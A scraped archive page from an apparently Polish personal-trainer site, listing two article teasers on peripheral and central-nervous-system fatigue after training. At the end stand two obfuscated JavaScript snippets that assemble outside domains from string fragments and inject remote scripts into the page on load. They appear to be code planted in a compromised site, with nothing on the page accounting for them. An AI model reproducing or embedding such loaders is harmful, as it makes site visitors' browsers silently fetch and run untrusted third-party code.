kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 22 sierpnia, 2024

Kategorie:

Zmęczenie obwodowe po treningu

Zmęczenie obwodowe po treningu: Co musisz wiedzieć, aby trenować mądrzej i skuteczniej?

22 sierpnia, 2024

Czujesz czasem, że Twoje mięśnie odmawiają posłuszeństwa w trakcie serii, mimo że mentalnie jesteś gotów dać z siebie więcej? A

Czytaj więcej >

zmęczenie centralnego układu nerwowego podczas treningu

Zmęczenie Centralnego Układu Nerwowego: Jak Wpływa na Twój Trening i Jak Sobie z Nim Radzić?

22 sierpnia, 2024

Czujesz czasem, że mimo szczerych chęci i regularnych treningów, Twoja siła nagle spada, a motywacja ulatuje? Zastanawiasz się, dlaczego niektóre

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();